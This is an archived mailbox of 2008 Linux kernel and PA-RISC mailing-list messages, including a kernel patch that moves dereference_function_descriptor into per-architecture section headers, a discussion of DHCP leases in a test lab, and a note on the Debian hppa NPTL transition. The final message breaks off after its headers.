	(ORCPT <rfc822;linux-ia64-outgoing>); Wed, 3 Sep 2008 20:02:33 -0400
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:43345 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751944AbYIDACc (ORCPT
	<rfc822;linux-ia64@vger.kernel.org>); Wed, 3 Sep 2008 20:02:32 -0400
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id m8401roA027464
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 3 Sep 2008 17:01:54 -0700
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id m8401qR2011034;
	Wed, 3 Sep 2008 17:01:53 -0700
In-Reply-To: <1220484812.3254.59.camel@localhost.localdomain>
User-Agent: Alpine 1.10 (LFD 962 2008-03-14)
X-Spam-Status: No, hits=-5.432 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:19400 gmane.linux.kernel.cross-arch:2089 gmane.linux.ports.parisc:704 gmane.linux.ports.ppc64.devel:46493
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/704>



On Wed, 3 Sep 2008, James Bottomley wrote:
> 
> Oh ... because Arjan has a patch to export
> dereference_function_descriptor.  I suppose I could make him do the
> heavy lifting, but it seemed sensible to make it easy for him (and me)
> by putting it in a header.
> 
> http://marc.info/?l=linux-kernel&m=121976793429869

Ahh.

NOW it all starts to make sense.

Or perhaps not sense, but I at least understand why people want to move it 
around. The kernel.h location kind of goes together with that 
core_kernel_text() thing, although it seems to be more of a "random 
collection of routines" thing than anything else (but hey, that's the very 
definition of "kernel.h" for you).

The module.h location still seems to be more of a "oh, both 
kernel/extable.c and lib/vsprintf.c already included <linux/module.h>" and 
it's a bit sad, since it really has nothing at all to do with modules.

Grr. It does seem like we don't have any kind of "abi" header file. 
<linux/kernel.h> and <asm/processor.h> has various random things.

So yea, there doesn't seem to be any _obvious_ place that makes sense.

		Linus

Not-very-strong-opinion: How about <asm/sections.h>? That does seem to be 
where we already hide things like "in_kernel_text()" at least on powerpc. 
In fact, since we already always have a generic version, the patch would 
actually be something like

 - in <asm-generic/sections.h>, just do

	#define dereference_function_descriptor(p) (p)

 - in architectures that want to override it

	#undef dereference_function_descriptor

   followed by 

	static inline void *dereference_function_descriptor(..) ..
	or
	#define dereference_function_descriptor my_fn_dereference

   since they all include the generic one as a base

Hmm? I do admit that "<asm/sections.h>" doesn't really strike me as a very 
natural name for this, but kernel/extable.c does already include it for 
other reasons, and it's at least no worse than module.h.
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: dhcp problems in cupertino
Date: Wed, 3 Sep 2008 18:50:01 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <20080904005001.GA22774@colo.lackof.org>
References: <1220463337.3254.23.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220489426 25324 80.91.229.12 (4 Sep 2008 00:50:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 00:50:26 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 02:51:20 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kb349-00048M-FP
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 02:51:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752024AbYIDAuP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Sep 2008 20:50:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752286AbYIDAuP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Sep 2008 20:50:15 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:43558 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752024AbYIDAuO (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Sep 2008 20:50:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 9F49D6F8035;
	Wed,  3 Sep 2008 18:50:12 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31251-08; Wed, 3 Sep 2008 18:50:02 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 3DD9C6F8030; Wed,  3 Sep 2008 18:50:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1220463337.3254.23.camel@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:705
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/705>

On Wed, Sep 03, 2008 at 12:35:37PM -0500, James Bottomley wrote:
> It looks like the old dhcp server was converted to dhcp3 without pulling
> across all of the dhcp entries.  I've added the gig-e network and and
> entry for ion (which I needed to get it to come up).  However, there are
> evidently still machines out there trying and failing to get IP
> addresses:
> 
> Sep  3 10:24:29 gsyprf11 dhcpd: DHCPDISCOVER from 00:17:08:c8:75:40 via eth11: network 192.168.1/24: no free leases
> Sep  3 10:36:29 gsyprf11 dhcpd: DHCPDISCOVER from 00:04:ea:b1:cf:80 via eth10: network 192.168.0/24: no free leases

gsyprf11 intentionally has no free leases. I plan was gsyprf11 should
only serve IP's for the systems that can/should netboot from it.
ie other parisc systems.

> So whoever's systems these are will need to add an entry for them.

I don't know offhand which systems they represent but can probably
work that out. I just add those to the dhcp server running on gsyprf10.

I suspect it's a FC switch or something like that.

thanks,
grant

> 
> James
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: dhcp problems in cupertino
Date: Wed, 3 Sep 2008 18:56:10 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20080904005610.GB22774@colo.lackof.org>
References: <1220463337.3254.23.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1220489795 26062 80.91.229.12 (4 Sep 2008 00:56:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 00:56:35 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 02:57:27 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kb3A3-0004UU-GJ
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 02:57:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752120AbYIDA4W (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 3 Sep 2008 20:56:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752024AbYIDA4W
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 3 Sep 2008 20:56:22 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:43624 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752120AbYIDA4V (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 3 Sep 2008 20:56:21 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 146E86F8035;
	Wed,  3 Sep 2008 18:56:21 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31617-09; Wed, 3 Sep 2008 18:56:10 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id A1E966F8030; Wed,  3 Sep 2008 18:56:10 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1220463337.3254.23.camel@localhost.localdomain>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:706
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/706>

On Wed, Sep 03, 2008 at 12:35:37PM -0500, James Bottomley wrote:
> It looks like the old dhcp server was converted to dhcp3 without pulling
> across all of the dhcp entries.

I suspect I "upgraded" the switchs and never realized I needed to add the IP
to DHCP.

> I've added the gig-e network and
> entry for ion (which I needed to get it to come up).  However, there are
> evidently still machines out there trying and failing to get IP
> addresses:
> 
> Sep  3 10:24:29 gsyprf11 dhcpd: DHCPDISCOVER from 00:17:08:c8:75:40 via eth11: network 192.168.1/24: no free leases

ProCurve Switch 2848#

Just "telnet 192.168.1.131".

> Sep  3 10:36:29 gsyprf11 dhcpd: DHCPDISCOVER from 00:04:ea:b1:cf:80 via eth10: network 192.168.0/24: no free leases

HP J4813A ProCurve Switch 2524

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.ia64,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] Correct printk %pF to work on all architectures
Date: Wed, 03 Sep 2008 20:43:36 -0500
Lines: 272
Approved: news@gmane.org
Message-ID: <1220492616.3254.64.camel@localhost.localdomain>
References: <1220473137.3254.29.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031419560.3515@nehalem.linux-foundation.org>
	 <1220481754.3254.42.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031546310.3515@nehalem.linux-foundation.org>
	 <1220482853.3254.47.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031602270.3515@nehalem.linux-foundation.org>
	 <1220484812.3254.59.camel@localhost.localdomain>
	 <alpine.LFD.1.10.0809031636320.3515@nehalem.linux-foundation.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220492631 32033 80.91.229.12 (4 Sep 2008 01:43:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 01:43:51 +0000 (UTC)
Cc: linux-arch@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-ia64@vger.kernel.org, linuxppc-dev@ozlabs.org
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Thu Sep 04 03:44:45 2008
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kb3ts-0006LM-Oa
	for glka-linux-arch@gmane.org; Thu, 04 Sep 2008 03:44:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752833AbYIDBnl (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 3 Sep 2008 21:43:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752772AbYIDBnk
	(ORCPT <rfc822;linux-arch-outgoing>); Wed, 3 Sep 2008 21:43:40 -0400
Original-Received: from accolon.hansenpartnership.com ([76.243.235.52]:54852 "EHLO
	accolon.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752377AbYIDBnj (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 3 Sep 2008 21:43:39 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id 20E7F8037;
	Wed,  3 Sep 2008 20:43:37 -0500 (CDT)
Original-Received: from accolon.hansenpartnership.com ([127.0.0.1])
	by localhost (redscar.int.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id M1dcVhPUPC37; Wed,  3 Sep 2008 20:43:35 -0500 (CDT)
Original-Received: from [153.66.150.222] (mulgrave-w.int.hansenpartnership.com [153.66.150.222])
	by accolon.hansenpartnership.com (Postfix) with ESMTP id A06C47F6D;
	Wed,  3 Sep 2008 20:43:35 -0500 (CDT)
In-Reply-To: <alpine.LFD.1.10.0809031636320.3515@nehalem.linux-foundation.org>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:2090 gmane.linux.ports.parisc:707 gmane.linux.ports.ia64:19401 gmane.linux.ports.ppc64.devel:46495
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/707>

On Wed, 2008-09-03 at 17:01 -0700, Linus Torvalds wrote:
> 
> On Wed, 3 Sep 2008, James Bottomley wrote:
> > 
> > Oh ... because Arjan has a patch to export
> > dereference_function_descriptor.  I suppose I could make him do the
> > heavy lifting, but it seemed sensible to make it easy for him (and me)
> > by putting it in a header.
> > 
> > http://marc.info/?l=linux-kernel&m=121976793429869
> 
> Ahh.
> 
> NOW it all starts to make sense.
> 
> Or perhaps not sense, but I at least understand why people want to move it 
> around. The kernel.h location kind of goes together with that 
> core_kernel_text() thing, although it seems to be more of a "random 
> collection of routines" thing than anything else (but hey, that's the very 
> definition of "kernel.h" for you).
> 
> The module.h location still seems to be more of a "oh, both 
> kernel/extable.c and lib/vsprintf.c already included <linux/module.h>" and 
> it's a bit sad, since it really has nothing at all to do with modules.
> 
> Grr. It does seem like we don't have any kind of "abi" header file. 
> <linux/kernel.h> and <asm/processor.h> has various random things.
> 
> So yea, there doesn't seem to be any _obvious_ place that makes sense.
> 
> 		Linus
> 
> Not-very-strong-opinion: How about <asm/sections.h>? That does seem to be 
> where we already hide things like "in_kernel_text()" at least on powerpc. 
> In fact, since we already always have a generic version, the patch would 
> actually be something like
> 
>  - in <asm-generic/sections.h>, just do
> 
> 	#define dereference_function_descriptor(p) (p)
> 
>  - in architectures that want to override it
> 
> 	#undef dereference_function_descriptor
> 
>    followed by 
> 
> 	static inline void *dereference_function_descriptor(..) ..
> 	or
> 	#define dereference_function_descriptor my_fn_dereference
> 
>    since they all include the generic one as a base
> 
> Hmm? I do admit that "<asm/sections.h>" doesn't really strike me as a very 
> natural name for this, but kernel/extable.c does already include it for 
> other reasons, and it's at least no worse than module.h.

Well, good as any other I suppose.  So this is what you want?

James

---

It was introduced by 

commit 0fe1ef24f7bd0020f29ffe287dfdb9ead33ca0b2
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Sun Jul 6 16:43:12 2008 -0700

    vsprintf: add support for '%pS' and '%pF' pointer formats


However, the current way its coded doesn't work on parisc64.  For two
reasons:  1) parisc isn't in the #ifdef and 2) parisc has a different
format for function descriptors

Make dereference_function_descriptor() more accommodating by allowing
architecture overrides.  I put the three overrides (for parisc64, ppc64
and ia64) in arch/kernel/module.c because that's where the kernel
internal linker which knows how to deal with function descriptors sits.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
---
 arch/ia64/include/asm/sections.h    |    3 +++
 arch/ia64/kernel/module.c           |   12 ++++++++++++
 arch/parisc/kernel/module.c         |   14 ++++++++++++++
 arch/powerpc/include/asm/sections.h |    3 +++
 arch/powerpc/kernel/module_64.c     |   13 ++++++++++++-
 include/asm-generic/sections.h      |    6 ++++++
 include/asm-parisc/sections.h       |    5 +++++
 lib/vsprintf.c                      |   11 +----------
 8 files changed, 56 insertions(+), 11 deletions(-)

diff --git a/arch/ia64/include/asm/sections.h b/arch/ia64/include/asm/sections.h
index 7286e4a..a7acad2 100644
--- a/arch/ia64/include/asm/sections.h
+++ b/arch/ia64/include/asm/sections.h
@@ -21,5 +21,8 @@ extern char __start_gate_brl_fsys_bubble_down_patchlist[], __end_gate_brl_fsys_b
 extern char __start_unwind[], __end_unwind[];
 extern char __start_ivt_text[], __end_ivt_text[];
 
+#undef dereference_function_descriptor
+void *dereference_function_descriptor(void *);
+
 #endif /* _ASM_IA64_SECTIONS_H */
 
diff --git a/arch/ia64/kernel/module.c b/arch/ia64/kernel/module.c
index 29aad34..545626f 100644
--- a/arch/ia64/kernel/module.c
+++ b/arch/ia64/kernel/module.c
@@ -31,9 +31,11 @@
 #include <linux/elf.h>
 #include <linux/moduleloader.h>
 #include <linux/string.h>
+#include <linux/uaccess.h>
 #include <linux/vmalloc.h>
 
 #include <asm/patch.h>
+#include <asm/sections.h>
 #include <asm/unaligned.h>
 
 #define ARCH_MODULE_DEBUG 0
@@ -941,3 +943,13 @@ module_arch_cleanup (struct module *mod)
 	if (mod->arch.core_unw_table)
 		unw_remove_unwind_table(mod->arch.core_unw_table);
 }
+
+void *dereference_function_descriptor(void *ptr)
+{
+	struct fdesc *desc = ptr;
+	void *p;
+
+	if (!probe_kernel_address(&desc->ip, p))
+		ptr = p;
+	return ptr;
+}
diff --git a/arch/parisc/kernel/module.c b/arch/parisc/kernel/module.c
index fdacdd4..44138c3 100644
--- a/arch/parisc/kernel/module.c
+++ b/arch/parisc/kernel/module.c
@@ -47,7 +47,9 @@
 #include <linux/string.h>
 #include <linux/kernel.h>
 #include <linux/bug.h>
+#include <linux/uaccess.h>
 
+#include <asm/sections.h>
 #include <asm/unwind.h>
 
 #if 0
@@ -860,3 +862,15 @@ void module_arch_cleanup(struct module *mod)
 	deregister_unwind_table(mod);
 	module_bug_cleanup(mod);
 }
+
+#ifdef CONFIG_64BIT
+void *dereference_function_descriptor(void *ptr)
+{
+	Elf64_Fdesc *desc = ptr;
+	void *p;
+
+	if (!probe_kernel_address(&desc->addr, p))
+		ptr = p;
+	return ptr;
+}
+#endif
diff --git a/arch/powerpc/include/asm/sections.h b/arch/powerpc/include/asm/sections.h
index 916018e..7710e9e 100644
--- a/arch/powerpc/include/asm/sections.h
+++ b/arch/powerpc/include/asm/sections.h
@@ -16,6 +16,9 @@ static inline int in_kernel_text(unsigned long addr)
 	return 0;
 }
 
+#undef dereference_function_descriptor
+void *dereference_function_descriptor(void *);
+
 #endif
 
 #endif /* __KERNEL__ */
diff --git a/arch/powerpc/kernel/module_64.c b/arch/powerpc/kernel/module_64.c
index ee6a298..ad79de2 100644
--- a/arch/powerpc/kernel/module_64.c
+++ b/arch/powerpc/kernel/module_64.c
@@ -21,8 +21,9 @@
 #include <linux/err.h>
 #include <linux/vmalloc.h>
 #include <linux/bug.h>
+#include <linux/uaccess.h>
 #include <asm/module.h>
-#include <asm/uaccess.h>
+#include <asm/sections.h>
 #include <asm/firmware.h>
 #include <asm/code-patching.h>
 #include <linux/sort.h>
@@ -451,3 +452,13 @@ int apply_relocate_add(Elf64_Shdr *sechdrs,
 
 	return 0;
 }
+
+void *dereference_function_descriptor(void *ptr)
+{
+	struct ppc64_opd_entry *desc = ptr;
+	void *p;
+
+	if (!probe_kernel_address(&desc->funcaddr, p))
+		ptr = p;
+	return ptr;
+}
diff --git a/include/asm-generic/sections.h b/include/asm-generic/sections.h
index 8feeae1..79a7ff9 100644
--- a/include/asm-generic/sections.h
+++ b/include/asm-generic/sections.h
@@ -14,4 +14,10 @@ extern char __kprobes_text_start[], __kprobes_text_end[];
 extern char __initdata_begin[], __initdata_end[];
 extern char __start_rodata[], __end_rodata[];
 
+/* function descriptor handling (if any).  Override
+ * in asm/sections.h */
+#ifndef dereference_function_descriptor
+#define dereference_function_descriptor(p) (p)
+#endif
+
 #endif /* _ASM_GENERIC_SECTIONS_H_ */
diff --git a/include/asm-parisc/sections.h b/include/asm-parisc/sections.h
index fdd43ec..9d13c35 100644
--- a/include/asm-parisc/sections.h
+++ b/include/asm-parisc/sections.h
@@ -4,4 +4,9 @@
 /* nothing to see, move along */
 #include <asm-generic/sections.h>
 
+#ifdef CONFIG_64BIT
+#undef dereference_function_descriptor
+void *dereference_function_descriptor(void *);
+#endif
+
 #endif
diff --git a/lib/vsprintf.c b/lib/vsprintf.c
index d8d1d11..c399bc1 100644
--- a/lib/vsprintf.c
+++ b/lib/vsprintf.c
@@ -27,6 +27,7 @@
 
 #include <asm/page.h>		/* for PAGE_SIZE */
 #include <asm/div64.h>
+#include <asm/sections.h>	/* for dereference_function_descriptor() */
 
 /* Works only for digits and letters, but small and fast */
 #define TOLOWER(x) ((x) | 0x20)
@@ -513,16 +514,6 @@ static char *string(char *buf, char *end, char *s, int field_width, int precisio
 	return buf;
 }
 
-static inline void *dereference_function_descriptor(void *ptr)
-{
-#if defined(CONFIG_IA64) || defined(CONFIG_PPC64)
-	void *p;
-	if (!probe_kernel_address(ptr, p))
-		ptr = p;
-#endif
-	return ptr;
-}
-
 static char *symbol_string(char *buf, char *end, void *ptr, int field_width, int precision, int flags)
 {
 	unsigned long value = (unsigned long) ptr;
-- 
1.5.6.5




From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: NTPL transition
Date: Thu, 4 Sep 2008 10:13:15 -0400
Lines: 31
Approved: news@gmane.org
Message-ID: <119aab440809040713m2a448cd4sea02cd2df7d7b42c@mail.gmail.com>
References: <20080904114551.GA18877@tilt.dandreoli.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1220537634 17645 80.91.229.12 (4 Sep 2008 14:13:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 4 Sep 2008 14:13:54 +0000 (UTC)
To: "Debian HPPA Port List" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"dann frazier" <dannf@debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 04 16:14:48 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KbFbH-0001r0-DY
	for glpp-linux-parisc@gmane.org; Thu, 04 Sep 2008 16:14:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751751AbYIDONR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 4 Sep 2008 10:13:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751864AbYIDONR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 4 Sep 2008 10:13:17 -0400
Original-Received: from wr-out-0506.google.com ([64.233.184.239]:7347 "EHLO
	wr-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751751AbYIDONQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 4 Sep 2008 10:13:16 -0400
Original-Received: by wr-out-0506.google.com with SMTP id 69so2846894wri.5
        for <linux-parisc@vger.kernel.org>; Thu, 04 Sep 2008 07:13:15 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=A60DworCtBRXRqupFQ9pLLZsneiBeJyCa7N3hxHgIw0=;
        b=Oas6ANS+M/2rmZH0imYVugrAychZNVwTukwjpPrsVxoXsWyPxrWBO1RtGoE/Vkq9GP
         2J7G/ax+s0nsQOGsO1HplO7x8FGQaOeI/MH0yAYe7e7ogvOrPL4ATTaGyvnLQf9vs3SK
         hB6BnSnwlOXcagS2JPCdETfwovOijIrp0GEA4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=pjiy6oA9i125ATRL56DwhvXAfzokxWVBjJzbB2c1qc5MfQ0ZzzV1NsKOnnuDLAUdzT
         dUHQkHGK7bUZHgo0w0kywt3+hlSjZW+Gk9zLh2qaLaQ3HpacTvH3GdcZuGCLd0UgOTN4
         I95txvf+wekDjvtoKza/5EUudlZKgQGsGqAs8=
Original-Received: by 10.90.96.15 with SMTP id t15mr13162677agb.100.1220537595296;
        Thu, 04 Sep 2008 07:13:15 -0700 (PDT)
Original-Received: by 10.90.101.5 with HTTP; Thu, 4 Sep 2008 07:13:15 -0700 (PDT)
In-Reply-To: <20080904114551.GA18877@tilt.dandreoli.com>
Content-Disposition: inline
X-Google-Sender-Auth: fb0aef0cedffe716
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:708 gmane.linux.debian.ports.hppa:5476
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/708>

On Thu, Sep 4, 2008 at 7:45 AM, Domenico Andreoli <cavok@dandreoli.com> wrote:
>  I would set NPTL transition as a goal for queeze.
>
> Are we available to agree on a shared path to push new life to this port?
> I mean, this issue will bite more and more frequently, it must be fixed.

I agree. I'm available and willing. I'm just not a DD nor am I
familiar with debians sbuild or buildds.

> I am available to follow the required steps but obviously the more eyes
> the better. This is the first time I work on a big transition like this.

I'm available at OFTC on #debian-glibc. I act as a debian-hppa porter
and help Aurelian when glibc hppa issues arise.

> I think the first packages have to be cross-built, until a minimal
> build system is ready to run on the new libc6.1 (chroot?). Then start
> an archive rebuild. It looks easy, where is the trap? :)

I'm not familiar with the debian build infrastructure, but I am *very*
familiar with libc since I'm the upstream ports maintainer for hppa.

I don't think there is any trap.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: panic on boot with kernel/sysctl.c changes in 2.6.27-rc5
Date: Thu, 04 Sep 2008 10:04:11 -0500
Lines: 174
Approved: news@gmane.org
Message-ID: <1220540651.3276.16.camel@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
